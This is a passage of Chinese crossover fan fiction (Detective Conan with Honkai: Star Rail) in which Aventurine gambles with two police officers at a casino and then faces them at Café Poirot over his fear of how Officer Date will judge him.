当然,娜塔莉现在经常戴在身上的礼物,还是砂金最开始送的那条仿珍珠手链。 透过针孔探头看见砂金的伊达航实际上比萩原研二还要震惊,不是震惊砂金出现在这里,伊达航已经开始接受砂金的“叛逆期”了, 性格不算太过古板的伊达航只是在怀疑,他一开始是不是管砂金管得太严了、以至于现在对方脱离他的监管、重获“自由”后彻底发生了反弹, 至少,以前的砂金没在衣服的胸口处大大咧咧的开了个窗! “哟,看我发现了谁?” “贫穷但慷慨”的砂金注意到了视线,脱了粉色墨镜随手挂在身后的保镖西服口袋上,弯着很有个人特色的眸子迎了上来,“又见面了、我亲爱的朋友。” 还真是继续一口一个朋友的叫啊? “这不就有缘了吗,”萩原研二没躲,也直接迎上去、看向砂金身后的人,“今天不是一个人了?” 换了张脸的236抬手确认砂金的墨镜挂好了、不会掉之后,又板直的站好,认真的当个背景板保镖,绝不给砂金丢面子。 砂金耸肩,“没办法,不带上……家里人不放心我到这里找乐子。” 你带上了我也不放心……不对,伊达航反应过来,带上了才更让人不放心吧! 砂金一向喜欢独来独往,身边突然多了一个人,事情肯定没有那么简单。而萩原研二也是见过上次砂金一个人的,这才又确认试探性地问了一下。 不过看砂金反应,这个“保镖”应该是砂金的自己人,而非监视控制之流。 “了解了解,”萩原研二也耸下肩,拍拍身后的松田阵平胳膊示意,“看,我这不也是一样?” 萩原研二表现的都超级自然,谨遵伊达航的指令、完全把砂金当初是见过一面一起玩过几把游戏的“陌生人”对待。 松田阵平的反应嘛……背景板不需要戏份,松田阵平很安静地把需要交涉的部分交给“大少爷”萩原研二去发挥, 其实松田阵平也很擅长交涉和说服他人,不过是物理层面的“交涉和说服”。 和不知道埃多阿尔多.鲁索会不会到场的几位警官先生不同,消息来源更多更准确的砂金很确定, 今天埃多阿尔多.鲁索不会来。 对方现在正在和组织谈生意,还准备聊完之后约个小姐美上几炮呢,连酒店房间都提前订好了……希望埃多阿尔多.鲁索在知道组织想弄死他后,也还能睡得好吧? 所以砂金现在很有空, 没事了到各个赌场里晃来晃去的砂金,未尝没有想再次和“基石”来个巧遇的打算——好运如他,这不就又叫他撞上了嘛? “闲着也是闲着,再陪我玩会儿怎么样?”砂金向基·萩原研二·石问道。 “乐意之至,”萩原研二巴不得和砂金多待一会儿,砂金一看就是个熟手、绝对比自己和小阵平慢慢摸索效率高, 而且就算班长不说、萩原研二也知道班长一定很在意砂金出现在这的原因。 “就是有个问题,”萩原研二一点都不吃亏用下巴指回旁边看到他和砂金聊天后、大气不敢喘一下的看守,“我想去上面的场子玩玩,可有人觉得我好像没有那个资格啊~” 肌肉结实的壮汉看守冷汗一下就冒了出来, 我不是,你别胡说! 虽然“人设”有些许“重叠”,但看守知道自己绝对惹不起砂金,他没到知道“孔雀”是谁的层面阶级,但他…… 几天前也曾拦过想要上楼的砂金。 …… “不让我进,是……觉得我的筹码还不够吗?” 当时装扮不比现在低调的年轻人摸了摸下巴,另一手伸出对着二楼比划了两下,一副若有所思的样子让看守直皱眉头,“看什么呢你?!” “没什么,朋友……我只是在估算一下高度。” 垂在一侧的刘海被抓在耳侧,露出一双诡谲瞳色的年轻人笑得好像没什么恶意,但头皮莫名有些发麻的看守恶狠狠地瞪了砂金一眼, 他只想快点打发了面前这个像是来寻乐子的有钱人家的小少爷。 很快,看守就后悔了。 外场一堆赌技以及赌品都奇差无比的赌鬼混混们,根本无法满足砂金追刺激的需要,他们还有人想不遵守“买定离手”、“愿赌服输”的基本原则, 甚至是…… “All in。” 在桌子上垒成“小山”的筹码被推倒,桌边的哀嚎声不断——任谁的手被一杆美工刻刀贯穿了手背、被死死钉在了桌子上,恐怕都会忍不住惨叫出声的吧? 那天有被吉野浩太郎那把匕首帅到的砂金也学着对方、随身带了把用来防身的武器,不带匕首是因为不好向别人解释自己的“正当防卫”,美工刻刀就不一样了, 轻便好携带,不是违禁品又适合像筹码那样、随时拿出来在指间把玩, 而且还足够锋利。 “它真是个完美的武器,是吧……朋友?”砂金对身侧试图偷偷换牌、但千术实在差劲的哀嚎者道,“所以我打算把它送给你了,不用谢……我还准备了很多,” “看我是个多么宽容大度的人,” 唇角勾起,手指从钉死的掌心下勾出那张浸血的扑克牌,“你做了我最讨厌的事,我还送了你礼物,这可真令人感动啊~” 牌面被翻开,又被推到庄家的面前,血渍在桌面上拖出长长一道痕迹,“庄家先生,现在可以继续开牌了。” 出千,又被同桌的赌客抓了个正着……没人会为受伤者打抱不平,所有人反倒是被砂金行云流水、眼都没眨一下的狠辣举动骇得寒毛一乍。 这哪里是漂亮美人,这分明就是煞神啊? !庄家喉结滚了滚、咽了口唾沫,所以他为什么不去楼上内场和其他大佬互怼,非要在这里炸鱼? ! 但煞神已经坐上了桌,被砂金盯上的庄家想不开牌也不行了,不然他怕砂金也“送”他个“小礼物”, 随后,推倒的筹码以数倍的数量重新回到砂金的手上,金发的美人沾了点血渍的手指随意指了个路人,“麻烦朋友帮个忙,把这些筹码搬到楼梯那……” “不让我走楼梯,”干净的那只手则撑着脸侧、歪了歪头,眉眼弯弯得好像很善解人意似的,“那我就用筹码,” “再堆一条路好了。” …… “又不让我走楼梯了吗?” 似曾相识的疑惑传入耳朵,膀大腰粗的看守竟然吓得双脚一抖、连忙让出路来,说话都直着打颤,“哪、哪里的话……您请!” 上次砂金是几乎赢完了外场的全部家当,筹码在楼角堆得比人还高,还惊动了上面的人,结果砂金是只吃软不吃硬、最后又是给砂金道歉又是赔不是才让这个煞神放弃了真的堆个楼梯出来的打算。 要是再让砂金闹一次……看守不知道砂金会不会被赌场的人暗中报复,但他知道自己一定会玩完! “我还以为这次你们准备好足够让我从一楼堆到二楼的筹码了呢?”砂金挑了眉,“服务态度还是不行啊,朋友。” 上次让砂金放弃那个“奇思妙想”的其中一条原因就是筹码不够,最后都没有人愿意和他赌了、楼梯还是没搭出来。 看守光赔着笑,说不出话来——他能说什么?说砂金脑子有问题、正常人谁会来这里追求服务态度,还是说我们这服务确实不行、见笑见笑? 他就是个看门的狗,赌场和砂金……他哪一个都惹不起啊! …… 好强势的作派……松田阵平和萩原研二隔着墨镜交换了个眼神,虽然不知道砂金具体在赌场里做了什么、或者说是做过什么,但看守和其他人对砂金的忌惮态度肉眼可见, 要说砂金背后没点东西,他们是绝对不会信的, 赌场可不会轻易放过“影响生意”的人。 第79章 赌场的人不敢招惹砂金,自然也不敢继续拦着砂金的朋友——砂金这些天四处乱逛的好处出现了,不需要再让别人带他入场、他甚至还可以捎带上别人了。 “这里其实没有吉野浩太郎那里……怎么说呢,”砂金领着路、顿了顿,才道, “没有那里和平?” “但论起找乐子,我逛过那么多家店……这里才是追求刺激的首选。” “不过, ”接二连三的转折词让萩原研二不得不把注意力一直放在砂金身上, 砂金突然凑近, 踮起脚又在萩原研二耳朵问道,“你看起来……不像是喜欢刺激的人呐?” 所以,为什么会想到这里来? 萩原研二也发现了,砂金对他很感兴趣……一连两次主动找上他,又半示好半威胁性地告诉他——瞅,我就知道你另有所图——这就足够说明些什么了, 猫猫主动勾搭, 那必有所图! 可是他身上能有什么吸引砂金的地方?萩原研二看看被砂金忽视了的松田阵平,一时没有马上找到答案。 萩原研二和松田阵平几乎形影不离了二十多年了,小时候一起上学、长大了一起工作,干什么都在一起,别说穿过同一条裤子,他俩连衣服上的洗衣粉味儿都是一样的, 因此, 萩原研二感觉他身上没有多少“东西”是松田阵平没有的。 总不能是因为性格和脸的原因吧?萩原研二沉思,他俩最大的差别就在这了。 敏锐程度并不比萩原研二低、只是更直率的松田阵平暗暗吐糟,别是“臭味相投”就好, 两只狐狸……真的受不住。 狐狸一号笑笑,躲开了狐狸二号的试探,并且准备岔开话题,“不要小看了我啊,我可还是个小有名气的飙车党呢,最佳战绩……两百迈都是小case 。” “是吗?”砂金打量了一下瘦瘦高高、不怎么像赛车手的萩原研二,“职业的?” “业余爱好,不值一提。”萩原研二很谦虚,有个在交通科上班的亲姐姐在,能把马自达当火箭开的他已经很收敛了。 不好随意开口的松田阵平心内戏也不少,那是当然……限制hagi极限车速的不是胆量,而是气缸。 “你呢?”萩原研二反问到砂金身上,“没点别的爱好?”不会天天泡在赌场里、当职业赌徒吧。 “射击和健身吧,”砂金闲聊着,“我最近找到了一家挺不错的射击俱乐部,教官手把手指导教学,调酒师水平也不错……可惜是会员制、还有点特殊门槛,不然就带朋友也去逛逛了。” 呃……旁听的松田阵平觉得有点不对劲儿,这种俱乐部有门槛很正常,但是……为什么射击俱乐部里会有调酒师? 开枪之前,喝两口壮壮胆? ? ? 这有点离谱了吧? 萩原研二也沉默片刻,硬是无视了那股子怪劲儿附和道,“那真可惜,我没有那个口福了。” 缺乏部分常识的砂金微微摇头,“不必遗憾,今天还有更有意思的东西等着我们呢……” 通过长长的走廊,砂金站定在一扇半掩的刻花门前,伸手推开、明亮的灯光逆着砂金的身影打在相对昏暗的门廊处,大厅内吵闹的噪声也猛得放大, 立于分界线上,如同打开了代表另一个世界大门的金发青年背着光、摊开双手,笑着道,“欢迎来到我的主场,” “那么想玩点什么呢,朋友?” …… 砂金口中的“主场”绝非自大的夸耀,好像越混乱的地方砂金适应性越好,萩原研二被领着又一次体验了一次全套的赌桌游玩攻略。 甚至因为“人设”不同的原因,这次熟悉了各项玩法的砂金为“大少爷”萩原研二的讲解也更为热情、更为贴心细致了, 堪称陪玩界的一流水平——如果真的有赌场陪玩这种“行业”的话。 “已经超过17点了,庄家点小,可以赌一把庄家自爆……” 萩原研二:……你也知道点小会自爆啊,那上次你坐庄的时候胆怎么就那么大呢? “全押,这把跟大……理由?朋友,放弃理性吧,赌徒是不需要理由的。” 萩原研二:……有道理,压了。 “手法不对,你这样勾不起来骰子的,用点力、让里面的骰子都转起来……” 萩原研二:所以你的手法为什么这么熟练? ! “这个印花好看,压这个。” 萩原研二:这个理由……你还是告诉我你不需要理由吧。 “朋友,诈一下。” 萩原研二:在诈了在诈了,等下!你让我诈他、你怎么又先全押了? ? ? “加注……我知道赔率大,但这样更刺激。” 萩原研二:好吧,是真刺激。 “赢得好像有点多啊……走!我带你再去输两把。” 萩原研二:等下,是不是哪里有点不对劲儿…… …… 萩原研二恍恍惚惚,脸上的礼貌微笑差点都挂不住了,松田阵平推推墨镜、打算后退两步多观察观察地型,结果脚后跟碰到了个人, 松田阵平扭头,是跟在砂金身后的那个保镖。 想着萩原研二又被砂金缠住、基本上指望不上对方了,那打探情报就只能自己来了的松田阵平上了,“伙计,干等着无聊不?” 目光专心地追逐着砂金身影的236道:“真好……” “?”松田阵平看看236 ,“什么真好?” “这么有活力的样子真好啊,” 原本沉默的236仿佛被松田阵平打开了话夹子,顿时开始语意混乱地喋喋不休起来,“摇骰子的样子很好看,加注的时候很帅,神明再临、神迹再现,高高在上的自由,可爱……” 可爱?松田阵平一点没看出来那个一把梭/哈把同桌都赢哭了的张扬金毛哪里可爱了。 236文化水平不怎么高,但热切的可怕,被砂金问破后也不再掩饰自己的感情,开始试图向他人安利自己有个多么伟大的信仰。 “看!又赢了,是不是很厉害,” 236骄傲,“凡人怎么可能赢得过神!真是不自量力!” 松田阵平:“噢,现在输了。” “那是神对失败者的仁慈,神对输家的施舍!”236答得斩钉截铁,毫不怀疑,“世界上所有的筹码,原本就应该是属于神的!” 松田阵平:“……” 松田阵平觉得236不像是保镖,反而像一个疯狂的狂信徒。 …… 话呢,松田阵平是一点没套出来,反而被236灌输了一大堆“神明理论”;萩原研二呢,也是和砂金好一顿“交锋”,一点有用信息都没得到,赌术倒是娴熟了不少。 又是一处偏僻的巷口小道,砂金笑着送客,“朋友,下次再来玩呀~” 这画面,可真让人眼熟啊…… “……好了好了,我认输。”萩原研二扶额,这和上次遇见砂金后经历的事情有什么两样? 简直是和砂金第一次相遇时的情景再现了——萩原研二被砂金见招拆招的带着玩了一圈,最后几乎又是零收获收尾。 反应很快啊,果然是聪明人,砂金眨眨眼睛,却是一幅不明白萩原研二为什么这么说的表情道,“什么认输,我好像有些听不懂呢。” 第二次了, 第一次是初次接触、砂金表现的可能不够明显,但这已经是第二次经历同一套流程了,萩原研二算是看出来砂金的看似“帮忙”、实则“捣乱”的那点小心思了。 “如果我不告诉你我的真名,”萩原研二很无奈地问,“等下次再见面,你是不是又要拉着我玩上半天都不肯放人?” 萩原研二的真正目的那能是来玩的吗? 所以别总是拉着他上赌桌啊!萩原研二想拒绝砂金都拒绝不了,一拒绝就要引起别人的注意了——毕竟没有哪个正经赌鬼是进了赌场不想上桌玩的。 砂金继续眨巴眨巴眼,“我只是想让朋友玩得尽兴,宾至如归而已。” 这么热情好客的他能有什么坏心思? 没错,他才没有故意缠着萩原研二、不让对方单独行动呢~ “容我提醒一下,”萩原研二把自己、靠在因为236同样很是心累的松田阵平身上,“我是宾没错,但你好像并不是主……” 砂金歪头,“那我先把这家赌场赢下来?”这都是小事,不成问题。 萩原研二哑口无言:……好一个反客为主,赌场老板听见都要哭了。 “那……约个地点,明天见面再详聊?”萩原研二道,总是让砂金来捣乱也不行啊,现在不方便说的内容,重新约个安全的地方说好了, 而有一些事情也的确需要聊一聊。 “爽快,波洛咖啡厅、上午九点怎么样,”砂金打算将人约到安室透那里,绝对安全,“不见不散?” 至于安室透会是什么反应……那不在砂金的考虑范围内。 萩原研二摆手,“不见不散。”等见了面、知道我们身份后,你别后悔就行,大侄子。 很好,砂金招呼着236就走了,下一块“基石”持有者的联系方式、基本上可以算是搞到手了。 看着达成目的后很果断就撤了、连装都不再多装一下的砂金,萩原研二忍不住开口:“……你说,这性格谁教得呢?” 你说他圆滑狡诈吧,强势起来什么都敢梭/哈一把;但说他嚣张跋扈吧,装无辜又很有一手。 松田阵平:“……神明吧?”他快被236洗脑了,他一点也不想知道砂金在赌桌上大杀四方的时候有多可爱。 萩原研二:“真是辛苦了啊。”他说的是班长。 松田阵平:“的确辛苦。”要照顾这么难搞的家伙。 [……]伊达航沉默了很久很久、他今日几乎是从头认识了一个与记忆中完全不同的砂金, 那个仿佛掌控了所有、为赌局而生的人,真的和他之前认识的那个会因为药太苦而找娜塔莉要糖果的孩子是同一个人吗? 反差太大,伊达航控制不了的有些错位感,伊达航最后也不知道想给谁正名,干巴巴地只能憋出来一句,[他之前不这样的……] 萩原研二和松田阵平之前不认识砂金,所以感觉不到这种复杂的感觉,伊达航恐怕只能和同样受骗过的安室透有点共同话题了。 [至少在娜塔莉面前,砂金还是很乖的。 ] —————————— 时间:上午九点整 地点:波洛咖啡厅内的私人卡座 人物:一位赌徒先生,两位爆处组警察,和一位……心情复杂的服务生卧底先生。 事件嘛…… 砂金:“三明治和拿铁,麻烦啦。” 松田阵平:“来杯冰美式。” 萩原研二:“我也要美式!” 安室透:“……好的,客人请稍等。” …… 砂金……去了后厨的安室透揉了揉额角,一时没看住,砂金怎么又和松田、萩原他俩勾搭在一起了? ! 组织那边先不提,朗姆盯上砂金一事也有他的一部分锅,但他可就这几个好友了,安室透感到很令人费解,他怎么感觉砂金能把他认识的人全都招惹一遍? 那下一步,砂金是不是就要去找hiro了? 很巧的是,下个月hiro真的会回国。 安室透在怀疑自己到底和砂金有着多深的孽缘,萩原研二暗暗感概了一下原来小降谷真去当卧底了之后,便继续和砂金谈起话来。 “再正式自我介绍一下吧,”砂金礼貌颔首,“不才砂金,一介赌徒而已。” “萩原研二,喜欢追求一点小刺激的普通人而已,”萩原研二为砂金介绍到,“这位是我的好友,阵平酱~” 松田阵平为那个尾音瞪了萩原研二一眼:“……啧,肉麻。” “萩原先生啊……”砂金一顿,这个姓氏、怎么感觉有些耳熟? 伊达航在松田阵平和萩原研二面前提到过砂金,那自然也在砂金面前提过两位同期好友,这很公平对吧? 反应过来了什么的砂金表情隐隐有些裂开,等等、好像要出大问题了…… “你……”砂金不确定地问道,“是个警察?” 萩原研二勾唇一笑,像是知道砂金为什么这么问一样回道,“是啊,还是个拆弹手呢。” “有什么问题?”松田阵平也暗暗憋着笑,之前被砂金耍了半天、这下终于轮到他们搬回一局了。 拆弹,警察,萩原……这几个关键词在一起这么一放,砂金的记忆彻底清晰了,清晰得不能再清晰了。 这下完蛋了……砂金眨眼,原本撑在桌子上的手乖乖收好放在膝盖上,“朋友,” “现在我们当作不认识、还来得及吗?” 第80章 “你在说什么呀?”萩原研二歪头,眨巴眨巴眼睛、活托托昨天的砂金再现,“我好像有点听不懂呢~” 松田阵平:“噗嗤!” [你也有今天啊,哈哈哈哈哈哈哈! ] 坐在砂金同侧的「砂金」可没有松田阵平那么“矜持” ,大笑着趴在桌子上、一手锤着桌子,笑得直不起腰, [这也太阿哈了,哈哈哈哈哈…… ] 砂金:“……我要犯虚无了。” 「砂金」知道砂金是认真的,砂金最近的状态不能算是稳定,但是…… [哈哈哈哈哈你先、先别急着犯哈……我等会再安慰你,真是……听不懂哈哈哈哈哈…… ] 「砂金」他也是认真地很想笑的, 这太有乐子了, 很难说当初忽悠卡卡瓦夏不去告诉砂金、伊达航发现异常了的时候, 「砂金」真的没有抱上那么一点愚者的心态。 “什么?”真没听懂砂金在说什么了的萩原研二反问了一声。 “没什么,”被「砂金」吵到了的砂金按了按耳朵根,微笑、语气淡淡地随意答道:“就是有点想死了。” 听出了认真感的萩原研二:“……不至于, 真不至于。” 他就是想开个玩笑、活跃一下气氛,不要真死啊! “和你没关系,”砂金说着,安室透的餐食饮品正好端上来了,“我自己的原因……嗯,先垫点肚子吧。”他出门的时候还没吃饭呢。 看着砂金态度大变,萩原研二有些相信班长的话了——砂金以前,可能确实挺乖的。 这让松田阵平和萩原研二双双松了口气,至少看砂金的反应、对方是用心在意班长他们的,而不是在身份暴露后大惊失色、单纯把班长当工具人利用。 “安心了?”砂金问道, “早知道你们和伊达警官还有这层关系在,我就不绕这么多圈子了。” 不用深思, 砂金对自己外貌的辩识度还是很有自信的,伊达警官肯定在萩原研二他们面前提起过自己,对方也肯定认出自己了, 他就应该直接偷拍下萩原研二的照片,然后让八木海把人从头到脚的查个一清二楚再做打算,而不是迂回的试图处成“朋友”。 萩原研二挑眉,“你知道你这么问,会更容易让人怀疑你展示出来的态度、其实是在演戏吗……” “知道如何,不知道又如何?”砂金搅了搅咖啡杯,“在我开口之前就已经扎根了的念头,并不会因为我说或不说而发生任何的改变,” “一直如此。” “看不出来啊,”萩原研二摸摸下巴,“原来你还是个悲观主义者。” “不是悲观,而是事实。” 砂金见多了这种事情,“而且你并没有否认自己之前并不信任我这一点,不是吗、朋友?” “你都不愿意告诉我……”砂金看向松田阵平,“这位先生的具体姓名。” 莫名其妙成了“论点”的松田阵平喝了口咖啡, “喂喂喂,你这是在诡辩吧?”萩原研二提出异议,“我有所怀疑、那是人之常情,不代表我会让不正当的偏见一直根深蒂固下去。” 更何况他这也算不上“偏见”,只是萩原研二作为伊达航的好友、自然而然地为伊达航感到担忧的正常人类感情而已, 哪个正常人类会全然信任一个突然找上门来的陌生人? 无事可干的松田阵平又喝了口咖啡, 砂金:“说的好听罢了,朋友。” “可真如你所认为的那样,”萩原研二不赞同砂金的观点,“那世界上所有的陌生人之间,永远都只会是陌生人,” 第一次见面是陌生人,“偏见”一直存在的话、那不就永远都是陌生人了吗? 萩原研二:“但事实并非如此,你被班长……伊达班长他带回了家就是最好的例子,你难道认为班长和娜塔莉女士与你也只是陌生人的关系?” 插不上话的松田阵平继续喝咖啡, 砂金:“这不一样……” 只是因为这个世界的人不知道“埃维金”代表了什么而已,如果知道……那么试探、怀疑、不信任等等都会蜂拥而至,砂金早已习惯。 萩原研二:“这哪里不一样?” “上升观点,进行反驳,”砂金忍不住道,“你这才叫是诡辩吧。” 萩原研二:“偷换概念,彼此彼此。” 砂金:“……所以我为什么要和你争论这个?” 和根本就不清楚他经历过什么的人讨论这个有意义吗? 砂金很怀疑面前这位说是不会放任“偏见”的人在知道一切后,真的不会马上厌恶地远离他吗? 松田阵平端起杯子直接吨吨吨…… 而砂金感到费解,他原本只是打算套一下基石碎片持有者的联系方式,打打关系、方便未来拿回基石的, 结果萩原研二的一个“萩原”彻底打乱了他原本的计划,两人还在一些奇怪的问题上产生了争执, 难道虚无的负面影响,还会让人变幼稚吗? [有没有一种可能,你本来就很幼稚? ] 没到这个世界之前,你不是也经常就一些奇怪的问题、而和托帕吵个不停吗? 砂金随手抄起靠背上的抱枕砸向多嘴的混蛋,抱枕穿过还捂个肚子笑个不停的「砂金」、落在了卡座内侧的沙发上。 他肯定没有那么幼稚,所以……砂金看向萩原研二,这肯定是对方的错! 目睹砂金奇怪动作的萩原研二:直觉感觉好像有点不妙? “砂金……我是说朋友,”萩原研二用上了砂金的口癖,“我以为我们今天见面的目的并不是来吵架的。” 砂金:“我也没有那个打算。” “可是你很明显的在排斥我。”萩原研二觉得砂金有些……应激了。 萩原研二对砂金不存在什么“偏见”,反而是砂金现在正如他说的那样,一开始砂金便不信任他,无论萩原研二怎么说、砂金都依旧很警惕他, 明明一开始便很主动的人也是砂金啊? “说不准以后就是你排斥我了,”砂金说的很笃定,“见到我这种人就犯恶心,不想和我搭上任何关系的那种,可能还会后悔遇到我,一辈子不想再和我见面……” 萩原研二试图委婉的安抚一下态度不太好的砂金:“你应该把自己看得好一点,从我们目前的接触来看,你远不到让我如此排斥的地步。” 萩原研二说的是实话——就目前砂金暴露出的问题而言……不就是赌徒吗?国内的警察有几个没和极道人员接触过的? 极道组织都还是合法组织呢。 砂金依旧摇头,还是那句话,“这不一样。” “好了,hagi!” 一口气闷完咖啡的松田阵平地杯子往桌子上一撂,真受不了两个不说人话的家伙的反复拉扯,“别磨磨唧唧的了,” “什么偏见不偏见的绕一大圈,都直白一点,”松田阵平看向砂金,“你不就是担心班长知道你的真正性格之后,会因为你是个赌鬼而厌恶你、远离你吗,” “那我直说好了,就算你杀人放火、违法犯罪了,厌不厌恶的我不好说……但班长也不可能会选择远离你,不仅如此,他甚至还会亲自去探明原因,去抓捕你,去监狱探视你,” 憋半天了,松田阵平一口气吐出来好长一段话,“判死刑了,临枪毙之前的猪排饭说不定都还会是班长端给你的,” “所以你为什么要因为一个普普通通的赌徒身份,而害怕那些有的没的?” 萩原研二:话粗理不粗,但小阵平…… 你这有点太粗了啊! ! ! 80-100 第81章 松田阵平的一番“轰炸”让砂金愣了愣,他其实没怎么在意过这位萩原研二的朋友,也没想到对方会突然介入到他和萩原研二的谈话之中。 “我什么时候害怕过这些东西……” 砂金下意识反驳,他“赌徒”的身份不是人尽皆知的“常识”吗, 不仅仅如此,颈侧的纹身、色彩斑斓的环形虹膜、象征着石心十人的名字……往往不需要他自我介绍,狂妄赌徒、诡弈砂金的标签就已经暴露出了他的身份, 所以他怎么会怕这个呢? 谁会为害怕于一个众所周知的身份?甚至于这种“身份”还是砂金自己打造出来的,每一次有关他的“流言蜚语”与“讨论” ,都少不了砂金大大咧咧展开的孔雀尾羽的功劳。 自卑?自厌?自寻苦恼? 那都是不可能的。 松田阵平看不惯砂金嘴硬,“那你倒是说说,发现我们认识班长后、你的第一反应是什么?” 那当然是在想你们有没有告诉伊达警官我…… 等等, 这有些不对, 思绪一断,砂金的愣神更加明显了,他为什么要想这个? …… 一个有意思的小前提, 在星际宇宙闻名各大阶级的“砂金之名”,在这个世界、就只代表了一个名字而已, 代表的是砂金、是卡卡瓦夏、是这一具肉/体还有内在的灵魂。 公司? CIA吗? 星际和平公司? 那是什么? 哪款游戏里的名词吗? 如果和伊达航说砂金是“公司”的人,那只可能出现上述这样的反问,砂金曾经怎么都摆脱不掉的“标签”和辛辛苦苦打的“名气”、一个不剩。 所以砂金有了从前从未有过、也不可能有的念头——害怕伊达航发现自己那从前从未遮掩过的另一面, 谁让砂金在娜塔莉和伊达航面前都是有多乖就装多乖的呢? 但是,问题又回来了, 他为什么要装? 可能一开始是要想混一个身份证明吧,也是为了给自己寻找一个可以安全养伤的地方? 那现在为什么又会害怕伪装被拆穿?砂金问着自己,他的伤已经全好了,也已经从伊达航那里搬走,就算是被伊达航厌恶其实也没什么的吧? 在曾经,讨厌他的人也不少啊,他都没有什么反应,怎么这次却失了分寸感……砂金迷茫, 这好像不应该啊。 …… 原因其实很简单, 因为,人总是害怕会被爱的人所伤害。 与其说砂金害怕伊达航的厌恶,倒不如再准确一点的说……他不想在伊达航身上看到曾经看惯了的那种东西,比如说厌恶、鄙夷、不屑与歧视。 砂金的心防很厚,他人的百般侮辱都不曾真正地刺入过他的内心,他也不在乎那诸多的负面评价,在意那些还不如想想该怎么再提升一下KPI 、压过隔壁的市场开拓部。 所以砂金可以在愚者小姐的冷嘲热讽中面不改色的继续交谈,并从挖苦讽刺中找到关键的信息与提示,最后完成一场盛大的落幕! 要是换个心性稍差一点的人来,别说听懂提示了,怕不是那位愚者小姐刚开口就能忍不住拔枪弄棍、再白白地得罪上酒馆的乐子人,日后说不定还会被对方坑到新的麻烦之中。 但是,琥珀王的墙都可以被贪饕啃食殆尽,再厚的盾也会有被打破的时候, 那非恶意的强攻硬闯,而是善意的温柔小触,在为善意的接触而降下心防的那一刻,则最易被善意突变的恶念所伤害。 对砂金而言,害怕被伤害也并不是一件坏事,因为他终于有将自己放在一个“需要被保护”的位置上、而不是任自己空洞的灵魂活在风吹雨打之中。 看我说过什么来着? 「砂金」笑嘻嘻地捂着肚子,在一旁看着砂金好像陷入了什么难题一般思考着, 一切的“巧合”皆有“源由”,母神必然会爱护自己唯一剩下的孩子。 正如那位明智的教授私下曾言,“天赋”与“知识”永远填不满砂金内心的空洞,所以寄希望于砂金这位愚笨的学生顿悟,还不如给他下点猛药来得痛快, 爱是世间无解的剧毒,也是医治灵魂的难得良药。 笑够了也看够了戏的「砂金」渐渐地消失在空气里,剩下的不需要他再来开导了,他可以继续去找卡卡瓦夏玩了, 没了压迫在幼苗上的诸多恶意,一点点雨水、一丝丝阳光……都足以令枯败的自我, 重新生长。 …… 作为真理医生口中的“糟糕学生”,砂金还未达到榆木疙瘩的那种地步,所以砂金也找到了问题的答案。 砂金喝了口咖啡压压惊, 这太不可思议了,他竟然真的害怕会在伊达警官那里受到“伤害”,他什么时候已经脆弱到了这种地方了吗? 这点小问题都能让他患得患失? 这也太不像是“砂金总监”会做的事了,砂金经过仔细的分析后、得出了结论…… 虚无真是可怕。 …… 是的,这当然是虚无的锅,没被黄泉砍之前他都很正常,现在出问题了、可不就是唯一的变量、虚无害得吗? 找到了不对劲儿的缘由,砂金一下子放松下来,不是他自己出了问题……那就好。 “回神了?”萩原研二无奈地把自己还没动过的咖啡推到松田阵平面前,对砂金耐心地道:“我们可以继续聊聊了吗?” “哄小孩呢你……”松田阵平无语,但还是按照萩原研二的意思、端起咖啡时不时吨一口。 萩原研二尴尬地笑笑……可不就是在哄小孩吗,而且还一哄、就要哄两个。 松田阵平的性子直,听班长的意思、砂金又是个很敏感的人,这两撞一起……直球当然有直球的好处, 但萩原研二也怕小阵平用力过猛、一记直球再把对面那个精神报告能拉好长一串的“脆皮”砸碎了怎么办? 天啊,萩原研二想,那绝对会是一场可怕的噩梦。 “继续吧,”砂金觉得自己又可以了,“让我想想……我应该先问一点什么,” 这不是软弱,砂金想,软弱了就会被那群豺狼拆吃入腹,他不能软弱怯懦, 他只是受到了虚无的影响而已、这非他的“本意”,所以他可以再多多“放松”一下……就像他曾经向伊达航倾诉过自己的“苦恼”一样,这里是一个很安全的世界, 他可以,再放心大胆地“纵容”一下自己。 所以砂金问了,“能告诉我……” “伊达警官他是什么反应吗?” 第82章 “不设想一下, 其实我们并没有告诉他有关你的事情的这种可能性吗?”萩原研二问道。 砂金只是淡淡地道:“你和伊达警官是很要好的朋友。” 以伊达警官的心性和性格而言,能被对方提到的“朋友”肯定与砂金口中的“朋友”不是同一个概念——萩原研二和伊达航绝非泛泛之交,所以不可能有那种可能性。 好友之间, 谁会不关心对方家的“孩子”? “其实我也没想到我们会在那种情况下见面, ”萩原研二摊手, “我都给你买好见面礼了, 就等班长他空下来、有时间介绍介绍我们认识。” 该说, 果然计划赶不上变化吗? “好了,别左右言他,朋友……我们的时间都很宝贵,不要浪费彼此的耐心好吗, ”砂金打断了萩原研二,异色的眸子凝视着对方,“我只是想知道我想要知道的, ” “我问你答, 简单明了,对彼此都更好。” 砂金平静、但不容置疑的语气在告诉萩原研二——他是认真的。 萩原研二暗自叹气,这种暗暗施压的感觉……砂金曾经肯定处于过上位者的身份,而且还不是一般的上位者。 “好吧好吧,”萩原研二投降,“你也得让我想想该从哪里讲起的好……” …… “他之前,真的很乖……” 那时萩原研二和松田阵平一无所获的从赌场出来, 与伊达航在车上碰了头,伊达航没忍不住还是再次强调性的说道。 知道伊达航现在心情可能很复杂的松田阵平抛给伊达航一瓶可乐——回来的路上,松田阵平专门拐了个弯去便利店里买的,不能借酒消愁、那就喝点肥宅快乐水吧。 “嗯呐,”萩原研二应着,上了车也没准备马上开车离开,“所以班长,介意和我聊聊砂金吗?” 知道以班长的能力而言,能完美瞒过对方的人可不多……所以萩原研二想问问砂金具体是个什么情况,是班长难得滑了次铁卢、识人不清,还是另有什么隐情, 正好现在也可以让班长倾诉倾诉,别老是一个人憋着。 “谢了,松田……”伊达航接住松田阵平抛过来的饮料,闷了一口,“老实说,我都不知道自己是不是先入为主太久了,直到现在、我也不认为他能有多坏,” “我刚捡到砂金的时候,像是捡到了一只因为人类的伤害、随时可能咽气的流浪猫,你懂的、萩原,这类小动物都很警觉,我也知道砂金一开始对我看似礼貌的疏远……” “砂金他一开始可能只是为了养伤和一份身份证明,被迫住在我和娜塔莉家的,乖……肯定也有装的成分。”伊达航无奈,“实际上,他也不算很让人省心,” “有些时候,极度缺乏常识、并且毫不自知……” 见识过砂金说什么有调酒师的射击俱乐部的松田阵平点头,“你说的没错,所以那真的是正规俱乐部吗?” 萩原研二眼角抽了抽,“小阵平,别给班长添堵了啦。” “没事,哈哈哈,”伊达航豁达一笑,不豁达好像也没什么法子了,“在你们告诉我之前,我就知道这小子有事瞒着我了,” 